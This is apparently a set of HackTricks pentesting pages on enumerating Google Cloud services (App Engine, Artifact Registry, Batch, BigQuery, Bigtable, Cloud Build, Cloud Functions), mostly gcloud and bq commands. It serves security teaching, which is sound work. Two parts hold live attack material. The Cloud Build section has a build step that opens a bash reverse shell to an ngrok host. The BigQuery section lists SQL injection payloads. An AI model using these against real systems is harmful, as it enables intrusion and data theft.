The source code and metadata is **automatically stored in buckets** with names such as `<proj-id>.appspot.com` and `staging.<proj-id>.appspot.com` and `<country>.<proj-id>.appspot.com`
|
||||
|
||||
**Every file** of the App is stored with the **sha1 of the content as filename**:
|
||||
|
||||
<figure><img src="../../../images/image (82).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Inside the **`ae`** folder from `staging.<proj-id>.appspot.com`, **one folder per version exist** with the **source code** files and **`manifest.json`** file that **describes the components** of the App:
|
||||
|
||||
```json
|
||||
{"requirements.txt":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/a270eedcbe2672c841251022b7105d340129d108","sha1Sum":"a270eedc_be2672c8_41251022_b7105d34_0129d108"},"main_test.py":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/0ca32fd70c953af94d02d8a36679153881943f32","sha1Sum":"0ca32fd7_0c953af9_4d02d8a ...
|
||||
```
|
||||
|
||||
### Containers
|
||||
|
||||
The web app will ultimately be **executed inside a container** and **Code Build** is used to build the container.
|
||||
|
||||
### URLs & Regions
|
||||
|
||||
The **default** web page will be exposed in the URL **`<project-uniq-name>.appspot.com`** although the URL of older versions will be slightly different, like **`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`** (note the initial timestamp).
|
||||
|
||||
It might look like it's only possible to deploy 1 app engine web application per region, but it's possible to indicate **`service: <servicename>`** in the **`app.yml`** and create a new service (a new web). The format of the URL for this new web will be **`<servicename>-dot-<project-uniq-name>.appspot.com`**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
> [!CAUTION]
|
||||
> Every time you uploads a new code to the App, **a new version is created**. **All versions are stored** and they even have an **URL to access them**. So modifying the code of an old version could be a **great persistence technique**.
|
||||
|
||||
As with Cloud Functions, **there is a chance that the application will rely on secrets that are accessed at run-time via environment variables**. These variables are stored in an **`app.yaml`** file which can be accessed as follows:
|
||||
|
||||
```bash
|
||||
# List the apps
|
||||
gcloud app services list
|
||||
gcloud app services describe <app-name>
|
||||
# Access via browser to the specified app
|
||||
gcloud app services browse <app-name>
|
||||
|
||||
# Get App versions
|
||||
gcloud app versions list
|
||||
# Get all the info of the app and version, included specific verion URL and the env
|
||||
gcloud app versions describe -s <app-name> <version-id>
|
||||
|
||||
# Logs
|
||||
gcloud app logs tail -s <app-name>
|
||||
|
||||
# Instances
|
||||
## This is only valid if a flexible environment is used and not a standard one
|
||||
gcloud app instances list
|
||||
gcloud app instances describe -s <app-name> --version <version-id> <ID>
|
||||
## Connect to the instance via ssh
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
|
||||
# Firewalls
|
||||
gcloud app firewall-rules list
|
||||
gcloud app firewall-rules describe <num_fw>
|
||||
|
||||
# Get domains
|
||||
gcloud app domain-mappings list
|
||||
gcloud app domain-mappings describe <name>
|
||||
|
||||
# SSl certificates
|
||||
gcloud app ssl-certificates list
|
||||
gcloud app ssl-certificates describe <name>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-appengine-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-app-engine-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-app-engine-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# GCP - Artifact Registry Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Artifact Registry is a fully managed service that allows you to **manage, store, and secure your software artifacts**. It's essentially a repository for **storing build dependencies**, such as **Docker** images, **Maven**, npm packages, and other types of artifacts. It's **commonly used in CI/CD pipelines** for storing and versioning the artifacts produced during the software development process.
|
||||
|
||||
Key features of Artifact Registry include:
|
||||
|
||||
1. **Unified Repository**: It supports **multiple types of artifacts**, allowing you to have a single repository for Docker images, language packages (like Java’s Maven, Node.js’s npm), and other types of artifacts, enabling consistent access controls and a unified view across all your artifacts.
|
||||
2. **Fully Managed**: As a managed service, it takes care of the underlying infrastructure, scaling, and security, reducing the maintenance overhead for users.
|
||||
3. **Fine-grained Access Control**: It integrates with Google Cloud’s Identity and Access Management (IAM), allowing you to define who can access, upload, or download artifacts in your repositories.
|
||||
4. **Geo-replication**: It supports the replication of artifacts across multiple regions, improving the speed of downloads and ensuring availability.
|
||||
5. **Integration with Google Cloud Services**: It works seamlessly with **other GCP services like Cloud Build, Kubernetes Engine, and Compute Engine**, making it a convenient choice for teams already working within the Google Cloud ecosystem.
|
||||
6. **Security**: Offers features like **vulnerability scanning and container analysis** to help ensure that the stored artifacts are secure and free from known security issues.
|
||||
|
||||
### Formats and Modes
|
||||
|
||||
When creating a new repository it's possible to **select a the format/type** of the repository among several like Docker, Maven, npm, Python... and the mode which usually can be one of these three:
|
||||
|
||||
- **Standard Repository**: Default mode for **storing your own artifacts** (like Docker images, Maven packages) directly in GCP. It's secure, scalable, and integrates well within the Google Cloud ecosystem.
|
||||
- **Remote Repository** (if available): Acts as a proxy for **caching artifacts from external**, public repositories. It helps prevent issues from dependencies changing upstream and reduces latency by caching frequently accessed artifacts.
|
||||
- **Virtual Repository** (if available): Provides a **unified interface to access multiple (standard or remote) repositories** through a single endpoint, simplifying client-side configuration and access management for artifacts spread across various repositories.
|
||||
- For a virtual repository you will need to **select repositories and give them a priority** (the repo with the largest priority will be used).
|
||||
- You can **mix remote and standard** repositories in a **virtual** one, if the **priority** of the **remote** is **bigger** than the standard, **packages from remote (PyPi for example) will be used**. This could lead to a **Dependency Confusion.**
|
||||
|
||||
Note that in the **Remote version of Docker** it's possible to give a username and token to access Docker Hub. The **token is then stored in the Secret Manager**.
|
||||
|
||||
### Encryption
|
||||
|
||||
As expected, by default a Google-managed key is used but a Customer-managed key can be indicated (CMEK).
|
||||
|
||||
### Cleanup Policies
|
||||
|
||||
- **Delete artifacts:** Artifacts will be **deleted according to cleanup policy** criteria.
|
||||
- **Dry run:** (Default one) Artifacts will **not be deleted**. Cleanup policies will be evaluated, and test delete events sent to Cloud Audit Logging.
|
||||
|
||||
### Vulnerability Scanning
|
||||
|
||||
It's possible to enable the **vulnerability scanner** which will check for vulnerabilities inside **container images**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Get repositories
|
||||
gcloud artifacts repositories list
|
||||
gcloud artifacts repositories describe --location <location> <repo-name>
|
||||
gcloud artifacts versions list --repository=<repo-name> -location <location> --package <package-name>
|
||||
|
||||
# Get settings of a repository (example using python but could be other)
|
||||
gcloud artifacts print-settings python --repository <repo-name> --location <location>
|
||||
|
||||
# Get docker images
|
||||
gcloud artifacts docker images list us-central1-docker.pkg.dev/<proj-name>/<repo-name>
|
||||
|
||||
# Get packages (like python and others...)
|
||||
gcloud artifacts packages list --repository <repo-name> --location <location>
|
||||
|
||||
# Get SBOMB artifacts
|
||||
gcloud artifacts sbom list
|
||||
|
||||
# Get vulnerabilities (docker images)
|
||||
gcloud artifacts vulnerabilities list us-east1-docker.pkg.dev/project123/repository123/someimage@sha256:49765698074d6d7baa82f
|
||||
gcloud artifacts docker images list-vulnerabilities projects/<proj-name>/locations/<location>/scans/<scan-uuid>
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,35 @@
|
||||
# GCP - Batch Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Google Cloud Platform (GCP) Batch Service** is designed for running **large-scale batch computing workloads**, automating the management, scheduling, and execution of batch jobs across scalable cloud resources. This service simplifies operations and optimizes costs by allowing users to leverage preemptible VMs and integrates seamlessly with other GCP services for comprehensive batch processing workflows. It's ideal for data processing, financial modeling, and scientific simulations.
|
||||
|
||||
### Service Account
|
||||
|
||||
Although (currently) it's not possible to select the SA that the batch job will be executed with, **it'll use the compute SA** (Editor permissions usually).
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# List jobs
|
||||
gcloud batch jobs list
|
||||
|
||||
# Get job info
|
||||
gcloud batch jobs describe <job-name> --location <location>
|
||||
|
||||
# List tasks
|
||||
gcloud batch tasks list --location <location> --job <job-name>
|
||||
|
||||
# Gte info of tasks executions
|
||||
gcloud batch tasks describe projects/<proj-number>/locations/<location>/jobs/<job-name>/taskGroups/<group>/tasks/<num>
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-batch-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,229 @@
|
||||
# GCP - Bigquery Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud BigQuery is a **fully-managed, serverless enterprise data warehouse**, offering capabilities for **analysis over petabytes** of data, thus handling large-scale datasets efficiently. As a Platform as a Service (PaaS), it provides users with infrastructure and tools to facilitate data management without the need for manual oversight.
|
||||
|
||||
It supports querying using **ANSI SQL**. The main objects are **datasets** containing **tables** containing SQL **data**.
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a **Google-managed encryption key** is used although it's possible to configure a **Customer-managed encryption key (CMEK)**. It's possible to indicate the encryption key per dataset and per table inside a dataset.
|
||||
|
||||
### Expiration
|
||||
|
||||
It's possible to indicate an **expiration time in the dataset** so any new table created in this dataset will be **automatically deleted** the specified number of days after creation.
|
||||
|
||||
### External Sources
|
||||
|
||||
Bigquery is deeply integrated with other Google services. It's possible to load data from buckets, pub/sub, google drive, RDS databases...
|
||||
|
||||
### Dataset ACLs
|
||||
|
||||
When a dataset is created **ACLs are attached** to give access over it. By default it's given **Owner** privileges over the **user that created** the dataset and then **Owner** to the group **projectOwners** (Owners of the project), **Writer** to the group **projectWriters,** and **Reader** to the group **projectReaders**:
|
||||
|
||||
```bash
|
||||
bq show --format=prettyjson <proj>:<dataset>
|
||||
|
||||
...
|
||||
"access": [
|
||||
{
|
||||
"role": "WRITER",
|
||||
"specialGroup": "projectWriters"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"specialGroup": "projectOwners"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "gcp-admin@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "OWNER",
|
||||
"userByEmail": "support@hacktricks.xyz"
|
||||
},
|
||||
{
|
||||
"role": "READER",
|
||||
"specialGroup": "projectReaders"
|
||||
}
|
||||
],
|
||||
...
|
||||
```
|
||||
|
||||
### Table Rows Control Access
|
||||
|
||||
It's possible to **control the rows a principal is going to be able to access inside a table** with row access policies. These are defined inside the table using [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement).\
|
||||
The access policy defines a filter and **only the matching rows** with that filter are going to be **accessible** by the indicated principals.
|
||||
|
||||
```sql
|
||||
# Create
|
||||
CREATE ROW ACCESS POLICY apac_filter
|
||||
ON project.dataset.my_table
|
||||
GRANT TO ('user:abc@example.com')
|
||||
FILTER USING (region = 'APAC');
|
||||
|
||||
# Update
|
||||
CREATE OR REPLACE ROW ACCESS POLICY
|
||||
CREATE ROW ACCESS POLICY sales_us_filter
|
||||
ON project.dataset.my_table
|
||||
GRANT TO ('user:john@example.com',
|
||||
'group:sales-us@example.com',
|
||||
'group:sales-managers@example.com')
|
||||
FILTER USING (region = 'US');
|
||||
|
||||
# Check the Post Exploitation tricks to see how to call this from the cli
|
||||
```
|
||||
|
||||
```bash
|
||||
# Enumerate row policies on a table
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
|
||||
```
|
||||
|
||||
### Columns Access Control
|
||||
|
||||
<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To restrict data access at the column level:
|
||||
|
||||
1. **Define a taxonomy and policy tags**. Create and manage a taxonomy and policy tags for your data. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
|
||||
2. Optional: Grant the **Data Catalog Fine-Grained Reader role to one or more principals** on one or more of the policy tags you created.
|
||||
3. **Assign policy tags to your BigQuery columns**. In BigQuery, use schema annotations to assign a policy tag to each column where you want to restrict access.
|
||||
4. **Enforce access control on the taxonomy**. Enforcing access control causes the access restrictions defined for all of the policy tags in the taxonomy to be applied.
|
||||
5. **Manage access on the policy tags**. Use [Identity and Access Management](https://cloud.google.com/iam) (IAM) policies to restrict access to each policy tag. The policy is in effect for each column that belongs to the policy tag.
|
||||
|
||||
When a user tries to access column data at query time, BigQuery **checks the column policy tag and its policy to see whether the user is authorized to access the data**.
|
||||
|
||||
> [!TIP]
|
||||
> As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
|
||||
|
||||
To enforce access control on the taxonomy it's needed to enable the service:
|
||||
|
||||
```bash
|
||||
gcloud services enable bigquerydatapolicy.googleapis.com
|
||||
```
|
||||
|
||||
It's possible to see the tags of columns with:
|
||||
|
||||
```bash
|
||||
bq show --schema <proj>:<dataset>.<table>
|
||||
|
||||
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Dataset info
|
||||
bq ls # List datasets
|
||||
bq ls -a # List all datasets (even hidden)
|
||||
bq ls <proj>:<dataset> # List tables in a dataset
|
||||
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
|
||||
|
||||
# Tables info
|
||||
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
|
||||
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
|
||||
|
||||
# Get entries from the table
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
|
||||
|
||||
# Insert data
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
|
||||
# Get permissions
|
||||
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
|
||||
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
|
||||
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
|
||||
|
||||
# Taxonomies (Get the IDs from the shemas of the tables)
|
||||
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
|
||||
gcloud data-catalog taxonomies list --location <location> #Find more
|
||||
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
|
||||
|
||||
# Get jobs executed
|
||||
bq ls --jobs=true --all=true
|
||||
bq show --location=<location> show --format=prettyjson --job=true <job-id>
|
||||
|
||||
# Misc
|
||||
bq show --encryption_service_account # Get encryption service account
|
||||
```
|
||||
|
||||
### BigQuery SQL Injection
|
||||
|
||||
For further information you can check the blog post: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Here just some details are going to be given.
|
||||
|
||||
**Comments**:
|
||||
|
||||
- `select 1#from here it is not working`
|
||||
- `select 1/*between those it is not working*/` But just the initial one won't work
|
||||
- `select 1--from here it is not working`
|
||||
|
||||
Get **information** about the **environment** such as:
|
||||
|
||||
- Current user: `select session_user()`
|
||||
- Project id: `select @@project_id`
|
||||
|
||||
Concat rows:
|
||||
|
||||
- All table names: `string_agg(table_name, ', ')`
|
||||
|
||||
Get **datasets**, **tables** and **column** names:
|
||||
|
||||
- **Project** and **dataset** name:
|
||||
|
||||
```sql
|
||||
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
|
||||
```
|
||||
|
||||
- **Column** and **table** names of **all the tables** of the dataset:
|
||||
|
||||
```sql
|
||||
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
|
||||
|
||||
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
|
||||
```
|
||||
|
||||
- **Other datasets** in the same project:
|
||||
|
||||
```sql
|
||||
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
|
||||
|
||||
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
|
||||
```
|
||||
|
||||
**SQL Injection types:**
|
||||
|
||||
- Error based - casting: `select CAST(@@project_id AS INT64)`
|
||||
- Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
|
||||
- Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
|
||||
- Boolean based: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
|
||||
- Potential time based - Usage of public datasets example: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
|
||||
|
||||
**Documentation:**
|
||||
|
||||
- All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
|
||||
- Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigquery-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# GCP - Bigtable Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
|
||||
A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
gcloud bigtable instances describe <instance>
|
||||
gcloud bigtable instances get-iam-policy <instance>
|
||||
|
||||
## Clusters
|
||||
gcloud bigtable clusters list
|
||||
gcloud bigtable clusters describe <cluster>
|
||||
|
||||
## Backups
|
||||
gcloud bigtable backups list --instance <INSTANCE>
|
||||
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
|
||||
gcloud bigtable backups get-iam-policy --instance <INSTANCE> <backupname>
|
||||
|
||||
## Hot Tables
|
||||
gcloud bigtable hot-tablets list
|
||||
|
||||
## App Profiles
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,171 @@
|
||||
# GCP - Cloud Build Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
|
||||
|
||||
Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
|
||||
|
||||
> [!TIP]
|
||||
> I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
|
||||
|
||||
### Events
|
||||
|
||||
The Cloud Build can be triggered if:
|
||||
|
||||
- **Push to a branch**: Specify the branch
|
||||
- **Push a new tag**: Specify the tag
|
||||
- P**ull request**: Specify the branch that receives the PR
|
||||
- **Manual Invocation**
|
||||
- **Pub/Sub message:** Specify the topic
|
||||
- **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
|
||||
|
||||
### Execution
|
||||
|
||||
There are 3 options:
|
||||
|
||||
- A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
|
||||
- Only one that can be specified “inline” in the web console and in the cli
|
||||
- Most common option
|
||||
- Relevant for unauthenticated access
|
||||
- A **Dockerfile** to build
|
||||
- A **Buildpack** to build
|
||||
|
||||
### SA Permissions
|
||||
|
||||
The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
|
||||
|
||||
By default no permissions are given but it's fairly easy to give it some:
|
||||
|
||||
<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Approvals
|
||||
|
||||
It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
|
||||
|
||||
### PR Approvals
|
||||
|
||||
When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
|
||||
|
||||
<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Connections & Repositories
|
||||
|
||||
Connections can be created over:
|
||||
|
||||
- **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
|
||||
- **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
|
||||
- **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
|
||||
|
||||
Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
|
||||
|
||||
This option is available through the button:
|
||||
|
||||
<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
|
||||
|
||||
### Connect a Repository
|
||||
|
||||
This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
|
||||
|
||||
This option is available through the button:
|
||||
|
||||
<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Storage
|
||||
|
||||
Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
|
||||
cd cloud-console-sample-build && \
|
||||
gcloud builds submit --config cloudbuild.yaml --region=global
|
||||
```
|
||||
|
||||
A Storage bucket called [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) is created to store a `.tgz` with the files to be used.
|
||||
|
||||
### Get shell
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
|
||||
Install gcloud inside cloud build:
|
||||
|
||||
```bash
|
||||
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
|
||||
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
|
||||
mkdir -p /usr/local/gcloud
|
||||
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
|
||||
/usr/local/gcloud/google-cloud-sdk/install.sh
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
You could find **sensitive info in build configs and logs**.
|
||||
|
||||
```bash
|
||||
# Get configured triggers configurations
|
||||
gcloud builds triggers list # Check for the words github and bitbucket
|
||||
gcloud builds triggers describe <trigger-name>
|
||||
|
||||
# Get build executions
|
||||
gcloud builds list
|
||||
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
|
||||
gcloud builds log <build-uuid> # Get build logs
|
||||
|
||||
# List all connections of each region
|
||||
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
||||
for region in $regions; do
|
||||
echo "Listing build connections in region: $region"
|
||||
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
|
||||
if [[ ${#connections[@]} -eq 0 ]]; then
|
||||
echo "No connections found in region $region."
|
||||
else
|
||||
for connection in $connections; do
|
||||
echo "Describing connection $connection in region $region"
|
||||
gcloud builds connections describe "$connection" --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
done
|
||||
fi
|
||||
echo "========================================="
|
||||
done
|
||||
|
||||
# List all worker-pools
|
||||
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
||||
for region in $regions; do
|
||||
echo "Listing build worker-pools in region: $region"
|
||||
gcloud builds worker-pools list --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
done
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,108 @@
|
||||
# GCP - Cloud Functions Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Functions <a href="#reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
|
||||
|
||||
[Google Cloud Functions](https://cloud.google.com/functions/) are designed to host your code, which **gets executed in response to events**, without necessitating the management of a host operating system. Additionally, these functions support the storage of environment variables, which the code can utilize.
|
||||
|
||||
### Storage
|
||||
|
||||
The Cloud Functions **code is stored in GCP Storage**. Therefore, anyone with **read access over buckets** in GCP is going to be able to **read the Cloud Functions code**.\
|
||||
The code is stored in a bucket like one of the following:
|
||||
|
||||
- `gcf-sources-<number>-<region>/<function-name>-<uuid>/version-<n>/function-source.zip`
|
||||
- `gcf-v2-sources-<number>-<region>/<function-name>function-source.zip`
|
||||
|
||||
For example:\
|
||||
`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
|
||||
|
||||
> [!WARNING]
|
||||
> Any user with **read privileges over the bucket** storing the Cloud Function could **read the executed code**.
|
||||
|
||||
### Artifact Registry
|
||||
|
||||
If the cloud function is configured so the executed Docker container is stored inside and Artifact Registry repo inside the project, anyway with read access over the repo will be able to download the image and check the source code. For more info check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### SA
|
||||
|
||||
If not specified, by default the **App Engine Default Service Account** with **Editor permissions** over the project will be attached to the Cloud Function.
|
||||
|
||||
### Triggers, URL & Authentication
|
||||
|
||||
When a Cloud Function is created the **trigger** needs to be specified. One common one is **HTTPS**, this will **create an URL where the function** can be triggered via web browsing.\
|
||||
Other triggers are pub/sub, Storage, Filestore...
|
||||
|
||||
The URL format is **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
|
